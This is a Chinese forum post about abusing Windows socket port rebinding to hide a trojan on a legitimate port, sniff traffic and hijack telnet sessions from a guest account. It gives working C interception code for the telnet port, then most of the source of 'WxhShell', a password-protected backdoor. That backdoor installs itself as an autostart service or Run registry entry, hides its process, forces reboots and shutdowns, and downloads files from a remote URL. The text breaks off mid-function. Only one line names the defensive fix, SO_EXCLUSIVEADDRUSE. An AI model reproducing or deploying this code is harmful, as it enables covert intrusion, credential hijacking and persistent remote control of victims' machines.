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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !Cs_F&l"j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #mT"gs  
`^vE9nW 7  
  saddr.sin_family = AF_INET; sKWfX Cd  
 z} <^jgJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "Q<MS'a  
VTM/hJmwJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wzA$'+Mb  
W_=f'yb:E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }bDm@NU  
bcyzhK=  
  这意味着什么?意味着可以进行如下的攻击: 1 zZlC#V  
]5O~+Nf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |)&%A%m  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Xvv6~  
7$b1<.WX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H\ %7%  
6863xOv{T  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1oS/`)  
h8P)%p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 M}a6Vu9  
?[AD=rUC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0sqFF[i  
HQ g^ h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w]H->B29C  
sK{e*[I>W  
  #include 9x8fhAy}4  
  #include 5R-6ji  
  #include sB</DS  
  #include    XSDpRo  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ' %qr.T %  
  int main() Ri{=]$  
  { oRFq @g  
  WORD wVersionRequested; |>Vb9:q9Po  
  DWORD ret; ok[i<zl; '  
  WSADATA wsaData; {=WgzP  
  BOOL val; yfSmDPh  
  SOCKADDR_IN saddr; hM{bavd  
  SOCKADDR_IN scaddr; 3F3A%C%  
  int err; i. "v4D  
  SOCKET s; M{@(G5  
  SOCKET sc; zda 3 ,U2o  
  int caddsize; UZMd~|  
  HANDLE mt; hrn+UL:d  
  DWORD tid;   P?\6@_ Z  
  wVersionRequested = MAKEWORD( 2, 2 ); @- xjfC\d  
  err = WSAStartup( wVersionRequested, &wsaData ); ^ y::jK  
  if ( err != 0 ) { G2D$aSh  
  printf("error!WSAStartup failed!\n"); I0 -MRU~[K  
  return -1; \<' ?8ri#  
  } DF= *_,2/  
  saddr.sin_family = AF_INET; CY1Z'  
   .3;;;K9a~]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 paK2 xX8E  
*T/']t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #4PN"o@  
  saddr.sin_port = htons(23); w}KkvP^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wz%-%39q%  
  { qna8|3eP  
  printf("error!socket failed!\n"); Nc`L;CP  
  return -1; =euni}7a  
  } WE?5ehEme  
  val = TRUE; xEI%D|)<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0;k# *#w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3n _htgcv  
  { siI;"?  
  printf("error!setsockopt failed!\n"); Upe%rC(  
  return -1; u_enqC3  
  } M  >u_4AY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QV!up^Zso  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2ESo2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]DcFySyv  
HtFDlvdy]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $Yq9P0Ya  
  { zfU{Kd  
  ret=GetLastError(); U/U);frH  
  printf("error!bind failed!\n"); icgfB-1|i  
  return -1; l **X^+=$  
  } t_^4`dW`  
  listen(s,2); U6K|fY N`  
  while(1) \D4:Nt#  
  { CTb%(<r  
  caddsize = sizeof(scaddr); ]G\}k  
  //接受连接请求 AH^/V}9H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w<#!h6Y=  
  if(sc!=INVALID_SOCKET) +[VXs~I q  
  { Psf#c:*_)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kmW4:EA%  
  if(mt==NULL) Y4-t7UlS;  
  { 'DR!9De  
  printf("Thread Creat Failed!\n"); eFgA 8kY)  
  break; c)J%`i$  
  } s!J9|]o  
  } jd: 6:Fm  
  CloseHandle(mt);  R&&4y 7  
  } A^g(k5M*  
  closesocket(s); Nb\4 /;#  
  WSACleanup(); &~CI<\o P  
  return 0;  ];m_4  
  }   LVGe]lD  
  DWORD WINAPI ClientThread(LPVOID lpParam) Xvu(vA  
  { tw;}jh  
  SOCKET ss = (SOCKET)lpParam; !0+JbZ<%r|  
  SOCKET sc; 1M6D3d_  
  unsigned char buf[4096]; a(nlTMfu  
  SOCKADDR_IN saddr; dd;~K&_Q/i  
  long num;  ?9/G[[(  
  DWORD val; o&%g8=n%  
  DWORD ret; .*oU]N%K=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4s- !7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   e ,(mR+a8  
  saddr.sin_family = AF_INET; **%37  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kVgTGC"L=  
  saddr.sin_port = htons(23); "jZ-,P=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .#gzP2 [q  
  { MtdG>TzUn  
  printf("error!socket failed!\n"); ^q5#ihM  
  return -1; K?;DMUSY\  
  } afVT~Sf{  
  val = 100; +(Ae4{z"1+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /v{I  
  { )nkY_' BV  
  ret = GetLastError(); L *wYx|  
  return -1; y(#e}z:  
  } Et$2Y-L.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^8WRqQdx  
  { t.<i:#rj>l  
  ret = GetLastError(); |Cv!,]9:r  
  return -1; ( .:e,l{U%  
  } teR Tu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /^ts9:  
  { >MZ/|`[M  
  printf("error!socket connect failed!\n"); r!v\"6:OM  
  closesocket(sc); <'u'#E@"sl  
  closesocket(ss); BGSw~6  
  return -1; y29m/i:  
  } { 6il`>=C  
  while(1) kiEa<-]  
  { {7[Ox<Ho  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N2G{<>=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )=+|i3]U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5pX6t  
  num = recv(ss,buf,4096,0); 6nn *]|7  
  if(num>0) itz,m r P  
  send(sc,buf,num,0); ("KF'fp&M2  
  else if(num==0) =_CzH(=f#  
  break; "oyo#-5z  
  num = recv(sc,buf,4096,0); w;M#c Y  
  if(num>0) \bXa&Lq  
  send(ss,buf,num,0); Yy8g(bU  
  else if(num==0) \z$= K  
  break; j 7B!h|  
  } )%TmAaj9d  
  closesocket(ss); F,kZU$  
  closesocket(sc); 8*X4\3:*N  
  return 0 ; zLQx%Yg!  
  } }MySaL>  
w0. u\  
".%k6W<n  
========================================================== g)-te+?6  
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下边附上一个代码,,WXhSHELL %d @z39-;  
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========================================================== C!gZN9-  
F|8 &  
#include "stdafx.h" Py< }S-:  
P}iE+Z 3  
#include <stdio.h> +`4A$#$+y  
#include <string.h> T{ "(\X$  
#include <windows.h> 4+n\k  
#include <winsock2.h> kZ~~/?B  
#include <winsvc.h> 9r9NxKuAO  
#include <urlmon.h> Z+SRXKQ  
y =@N|f!  
#pragma comment (lib, "Ws2_32.lib") 4H/OBR  
#pragma comment (lib, "urlmon.lib") g(g& TO  
u*R_\*j@  
#define MAX_USER   100 // 最大客户端连接数 \V:^h [ad  
#define BUF_SOCK   200 // sock buffer z:O8Ls^\T  
#define KEY_BUFF   255 // 输入 buffer pg.%Pdr<$  
qs6aB0ln  
#define REBOOT     0   // 重启 3|7QU ld  
#define SHUTDOWN   1   // 关机 %<5'=t'|-U  
4i bc  
#define DEF_PORT   5000 // 监听端口 xw%0>K[  
{g6%(X\r.r  
#define REG_LEN     16   // 注册表键长度 y`Fw-!'o  
#define SVC_LEN     80   // NT服务名长度 bt *k.=p  
d9ihhqq3}  
// 从dll定义API Bvj0^fSm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -Za/p@gM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =N@t'fOr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }]Tx lSp!;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *hrd5na  
sLFl!jX  
// wxhshell配置信息 [aS*%Heu  
struct WSCFG { X&zis1A<  
  int ws_port;         // 监听端口 E`q_bn  
  char ws_passstr[REG_LEN]; // 口令 YIE<pX4Q7)  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9uY'E'm*  
  char ws_regname[REG_LEN]; // 注册表键名 <3iMRe  
  char ws_svcname[REG_LEN]; // 服务名 0(I j%Wi,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )jj0^f1!j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J,G lIv.A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )0MB9RMk1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \v{=gK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V~bD)?M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X]=t>   
;<5q]/IHK  
}; `/g UV  
[lAp62i5  
// default Wxhshell configuration wr4:Go`  
struct WSCFG wscfg={DEF_PORT, NI5``BwpO  
    "xuhuanlingzhe", fM}#ON>Z  
    1, +p^u^a  
    "Wxhshell", v=k$A  
    "Wxhshell", $M#>9QHhc  
            "WxhShell Service", b -y  
    "Wrsky Windows CmdShell Service", !wNO8;(  
    "Please Input Your Password: ", l2d{ 73h  
  1, l0] EX>"E  
  "http://www.wrsky.com/wxhshell.exe", 4 :=]<sc,  
  "Wxhshell.exe" a?.=V  
    }; @;kSx":b  
BY*Q_Et  
// 消息定义模块 |%wX*zaf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %\DX#.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +"(jjxJm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^{{q V  
char *msg_ws_ext="\n\rExit."; \9d$@V  
char *msg_ws_end="\n\rQuit."; yVc(`,tZ(  
char *msg_ws_boot="\n\rReboot..."; "KlwA.7/  
char *msg_ws_poff="\n\rShutdown..."; %SI'BJ  
char *msg_ws_down="\n\rSave to "; 4YHY7J  
f)!Z~t &  
char *msg_ws_err="\n\rErr!"; H"KCK6  
char *msg_ws_ok="\n\rOK!"; OB7hlW  
r>\bW)e  
char ExeFile[MAX_PATH]; '|4!5)/K  
int nUser = 0; 2tLJU  Z1  
HANDLE handles[MAX_USER]; eQ"E   
int OsIsNt; hcc/=_hA  
-&;TA0~;  
SERVICE_STATUS       serviceStatus; {!`4iiF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M;NX:mX9  
6RM/GM  
// 函数声明 Ie^l~ Gb  
int Install(void); f5k6`7Vj]  
int Uninstall(void); =EIkD9u  
int DownloadFile(char *sURL, SOCKET wsh); $N\Ja*g  
int Boot(int flag); ]?)TdJ`  
void HideProc(void); <Qq*p  
int GetOsVer(void); C>~TI,5a3  
int Wxhshell(SOCKET wsl); />Nt[o[r  
void TalkWithClient(void *cs); xpI wrJO  
int CmdShell(SOCKET sock); P$sxr  
int StartFromService(void); {T8Kk)L  
int StartWxhshell(LPSTR lpCmdLine); m68*y;#  
zVD:#d% b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S$k&vc(0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +{>=^9%X  
$|@ r!/W  
// 数据结构和表定义 PX99uWx5]  
SERVICE_TABLE_ENTRY DispatchTable[] = qNr} \J|  
{ {U1m.30n  
{wscfg.ws_svcname, NTServiceMain}, HqTjl4ai  
{NULL, NULL} P_dJZ((X  
}; nd(S3rct&  
.KC ++\{HE  
// 自我安装 @H<q"-J  
int Install(void) <X5 fUU"+U  
{ 4sM.C9W  
  char svExeFile[MAX_PATH]; h1{3njdr  
  HKEY key; '!$%> ||S  
  strcpy(svExeFile,ExeFile); 7Qsgys#/=  
T Ge_G_'o  
// 如果是win9x系统,修改注册表设为自启动 gJhiGYx  
if(!OsIsNt) { fX)# =c|5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wvqhl 'J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hef g[$m  
  RegCloseKey(key); LF7SS;&~f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b[7 ]F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `-&K~^-cH  
  RegCloseKey(key); Df#l8YK#  
  return 0; };g"GNy  
    } iI>A *,{,`  
  } Jo}eeJ;k  
} vFsLY  
else { o14cwb  
4OX^(  
// 如果是NT以上系统,安装为系统服务 _ J[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #[a*rD%m  
if (schSCManager!=0) |)81Lz  
{ {iLT/i%  
  SC_HANDLE schService = CreateService s{" 2L{,$  
  ( VD:/PL  
  schSCManager, qCO/?kW  
  wscfg.ws_svcname, 0;ji65  
  wscfg.ws_svcdisp, `XB 9Mi=  
  SERVICE_ALL_ACCESS, g1o8._f.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3,=6@U  
  SERVICE_AUTO_START, $g7<Y*t[  
  SERVICE_ERROR_NORMAL, !a<ng&H^U  
  svExeFile, +MLVbK  
  NULL, gNhQD*+>{  
  NULL, *#Wdc O `-  
  NULL, @A 5?3(e  
  NULL, T^v}mWCZ  
  NULL >*n0n!vF  
  ); yWya&|D9  
  if (schService!=0) gO^gxJ'0t  
  { =ruao'A  
  CloseServiceHandle(schService); 9C \Fq-  
  CloseServiceHandle(schSCManager); iIogx8[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _y3Xb`0a  
  strcat(svExeFile,wscfg.ws_svcname); Lk$B{2^n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z<4AL\l 98  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9mFE?J  
  RegCloseKey(key); 63A.@mL  
  return 0; X$pJ :M{F$  
    } 7= DdrG<  
  } >U3cTEs cj  
  CloseServiceHandle(schSCManager); RGU\h[  
} X|8c>_}  
} Bw{I;rW{2  
l (%1jC8  
return 1; /SrAW`;"  
} J'2X&2  
@]#1(9P  
// 自我卸载 w-{c.x  
int Uninstall(void) p"Z-6m~  
{ eN~=*Mn(za  
  HKEY key; 3{h_&Gbo'D  
VYhbx 'e  
if(!OsIsNt) { EyLuO-5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FEVlZ<PW3I  
  RegDeleteValue(key,wscfg.ws_regname); _7)n(1h[3b  
  RegCloseKey(key); ->{KVPHe{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +H2-ZXr  
  RegDeleteValue(key,wscfg.ws_regname); 3Le{\}-$.  
  RegCloseKey(key); XGMiW0j0B  
  return 0; IkXx# )  
  } s!e3|pGS  
} M:6"H%h,W  
} 2T TdH)  
else { BRYHX.}h\A  
^ K E%C;u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +t:0SRSt  
if (schSCManager!=0) (@}!0[[^  
{ V#}kwON  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6Kb1~jY  
  if (schService!=0) jb;hcraR  
  { r(2uu  
  if(DeleteService(schService)!=0) { Lu0x (/  
  CloseServiceHandle(schService); F*K_+ ?m  
  CloseServiceHandle(schSCManager);  _\HQvH  
  return 0; + +#5  
  } .y,0[i V N  
  CloseServiceHandle(schService); ~| 6[j<ziL  
  } K}U-w:{  
  CloseServiceHandle(schSCManager); WSY}d Vr  
} ;xs"j-r/  
} ]]juN  
|id <=Xf  
return 1; 14'45  
} wsVV$I[2  
B !=F2  
// 从指定url下载文件 uc"P3,M  
int DownloadFile(char *sURL, SOCKET wsh) XEZF{lP  
{ 0k(a VkZ I  
  HRESULT hr; g SAt@2*U2  
char seps[]= "/"; U~l$\ c  
char *token; '!a'ZjYyi  
char *file; d$AWu{y  
char myURL[MAX_PATH]; 5-xX8-ElYz  
char myFILE[MAX_PATH]; E1U",CMU  
mS~kJy_-  
strcpy(myURL,sURL); /_#q@r4ZQ  
  token=strtok(myURL,seps); 6qd\)q6T&x  
  while(token!=NULL) QZ%`/\(!8_  
  { H1(Uw:V8  
    file=token; NS6:yX,/  
  token=strtok(NULL,seps); AlW66YAuQ  
  } Sa`Xf\  
v2;`f+  
GetCurrentDirectory(MAX_PATH,myFILE); ,T8~L#M~  
strcat(myFILE, "\\"); nmi|\mof  
strcat(myFILE, file); N<KS(@v y  
  send(wsh,myFILE,strlen(myFILE),0); O|N{ v"o  
send(wsh,"...",3,0); xLZG:^(I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a"g!e^  
  if(hr==S_OK) *%t^;&x?  
return 0; M>8A\;"  
else 3CGp`~Zf  
return 1; 1s@+;QUib  
3fJc 9|  
} @<]Ekkg  
h@WhNk7"xa  
// 系统电源模块 ?r+-  
int Boot(int flag) {Wu$YWE*sx  
{ yw3$2EW  
  HANDLE hToken; Y<ql49-X  
  TOKEN_PRIVILEGES tkp; 9 ea\vZ  
,V:SN~P66+  
  if(OsIsNt) { ^J8lBLqe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TSWM |#u':  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0f>5(ek  
    tkp.PrivilegeCount = 1; }HePZ{PLM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +|89>}w4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P&e\)Z|  
if(flag==REBOOT) {  3 +fp2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I[##2  
  return 0; \1 &,|\E#  
} l9u!aD  
else { FA3~|Zg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'V=P*#|SR  
  return 0; =j*$ |X3W  
} Eq\M;aDq  
  } QM#4uI55B  
  else { c[1oww  
if(flag==REBOOT) { V0XvJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6}Y#=}  
  return 0; O ,h;hQZ  
} [ $n_6  
else { <r`2)[7N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Um-[~-  
  return 0; 7 uKY24  
} `o8/(`a  
} O[)kboY  
p\ZNy\N^  
return 1; Q & K  
} vf%&4\ib  
Q_X.rUL0w  
// win9x进程隐藏模块 w{@o^rs  
void HideProc(void) CxG#"{&  
{ #c?j\Y9nz  
qC:raH_:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zvH8^1yzG  
  if ( hKernel != NULL ) 9g"2^^wD  
  { i||]V*5n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wN-d'-z/rd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); scou%K  
    FreeLibrary(hKernel); GV69eG3bX#  
  } ;^%4Q"  
QKN+>X  
return; 474SMx$  
} #(JNn'fzq  
4k_vdz  
// 获取操作系统版本 .QJ5sgmh  
int GetOsVer(void) c~uKsU  
{ 4 f'V8|QM{  
  OSVERSIONINFO winfo; Y+*0~xm4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O-I[igNl  
  GetVersionEx(&winfo); f;gw"onx8F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9-DZU,`P  
  return 1; A.F738Zp{Z  
  else :~T99^$zA  
  return 0; ,\n&I(  
} DBD%6o>]K  
&NoS=(s,  
// 客户端句柄模块 8UyMVY  
int Wxhshell(SOCKET wsl) ?!cvf{a  
{ 9Ujo/3,Ak  
  SOCKET wsh; [8,yF D_U  
  struct sockaddr_in client; ^ ALly2  
  DWORD myID; 8'nVwb8I  
giIWGa.a+  
  while(nUser<MAX_USER) @u]rWVy;\[  
{ \$e)*9)  
  int nSize=sizeof(client); *b/` Ya4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E5xzy/ZQ  
  if(wsh==INVALID_SOCKET) return 1; 1Z~)RJ<D  
~r`9+b[9{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iS Gq!D  
if(handles[nUser]==0) IS 2^g>T#1  
  closesocket(wsh); <_tT<5'[$u  
else D (m j7oB  
  nUser++; ;y\IqiA{o  
  } (Dl$kGn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S` ;?z  
K3;nY}\>  
  return 0; sOJQ,"sB  
} !&/{E [  
*HO}~A%Lx  
// 关闭 socket /bi[ e9R  
void CloseIt(SOCKET wsh) 3? 7\ T#=  
{ L=8<B=QT$  
closesocket(wsh); U`d5vEhT  
nUser--; 27"%"P.1  
ExitThread(0); "C SC  
} V'T ,4  
f Tl<p&b  
// 客户端请求句柄 D+z?wuXk  
void TalkWithClient(void *cs) qA$*YIlK  
{ cmg ^J  
%$ Z7x\_  
  SOCKET wsh=(SOCKET)cs; T' &I{L33Y  
  char pwd[SVC_LEN]; MIoEauf  
  char cmd[KEY_BUFF]; I`LuRl w  
char chr[1]; $!(pF  
int i,j; Jjv=u   
lBTmx(_}}r  
  while (nUser < MAX_USER) { 7 :3$Ey  
Z2='o_c  
if(wscfg.ws_passstr) { O0No'LVu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xp72>*_9&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kg3EY<4i  
  //ZeroMemory(pwd,KEY_BUFF); ); dT_  
      i=0; be-~\@  
  while(i<SVC_LEN) { jvFTR'R)=  
R_7 d@FQ1  
  // 设置超时 vIwCJN1C  
  fd_set FdRead; :1^R9yWA4  
  struct timeval TimeOut; A"D,Kg S  
  FD_ZERO(&FdRead); ?)X,0P'  
  FD_SET(wsh,&FdRead); )'%$V%9  
  TimeOut.tv_sec=8; [4C:r!  
  TimeOut.tv_usec=0; [uls8 "^/j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u1PaHgi$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,%Up0Rr,  
&PK\|\\2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q|L9g z[?  
  pwd=chr[0]; rJ{O(n]j  
  if(chr[0]==0xd || chr[0]==0xa) { ,JN8f]a^"g  
  pwd=0; )ZqJh  
  break; #w-xBM @  
  } tAte)/0C  
  i++; *nsAgGKKM^  
    } oDYRQozo>  
[7S} g  
  // 如果是非法用户,关闭 socket dW~*e2nq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :WL'cJ9a  
} #x3ujJ  
FE! lok  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p>;_e(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `zXO_@C  
#ap9Yoyk\  
while(1) { WT`4s  
ixQJ[fH10  
  ZeroMemory(cmd,KEY_BUFF); XW s"jt  
:2-pjkhiwY  
      // 自动支持客户端 telnet标准   GJp85B!PlO  
  j=0; qfz8jY]  
  while(j<KEY_BUFF) { xD[Gq%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8o 0%@5M  
  cmd[j]=chr[0]; h!:~f-@j4  
  if(chr[0]==0xa || chr[0]==0xd) { pL%r,Y_^\x  
  cmd[j]=0; {=-\|(Bx  
  break; uDSxTz{  
  } wqW 0v\  
  j++; *b}lF4O?  
    } L^4-5`gj  
$N=N(^  
  // 下载文件 JEgx@};O  
  if(strstr(cmd,"http://")) { B7<Kc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ch%m  
  if(DownloadFile(cmd,wsh)) -O!Zxg5x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y>|{YWbp?  
  else  \qR %%S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ADk8{L{UU  
  } H0R&2#YD  
  else { z2hc.29t  
TdGnf   
    switch(cmd[0]) { BQ2wnGc  
  BC;:  
  // 帮助 0#*#a13  
  case '?': { ] 0m&(9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3lq Mucr  
    break; TkO[rAC  
  } 7ei|XfR  
  // 安装 b-*3 2Y%  
  case 'i': { ^ Dt#$Z  
    if(Install()) lmSo8/%T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =)` p_W  
    else t2iv(swTe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R$Tp8G>j  
    break; #I3$3^0i#  
    } ^3FE\V/=  
  // 卸载 ;/*6U  
  case 'r': { -TOIc%  
    if(Uninstall()) [kgdv6E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (%:>T Q(  
    else JHJ~X v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q\,o :ZU_  
    break; t"YNgC ^  
    } k` (jkbEZ  
  // 显示 wxhshell 所在路径 5 `RiS]IO]  
  case 'p': { V$rlA' +1v  
    char svExeFile[MAX_PATH]; ? j 9|5*  
    strcpy(svExeFile,"\n\r"); ~w;]c_{.b  
      strcat(svExeFile,ExeFile); d4 (/m_HMu  
        send(wsh,svExeFile,strlen(svExeFile),0); ~E^,=4  
    break; U"4?9. k  
    } !'*csg  
  // 重启 ~|AwN [  
  case 'b': { k') E/n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FG!X"<he  
    if(Boot(REBOOT)) fQ=MJ7l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KyO8A2'U  
    else { $VQtwuYt  
    closesocket(wsh); =FT98H2*|  
    ExitThread(0); n7YEG-J  
    } (x$9~;<S*d  
    break; tD Cw-  
    } `[YngYw  
  // 关机 e~T@~(fft  
  case 'd': { ;u(Du-Os!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OLj\-w^  
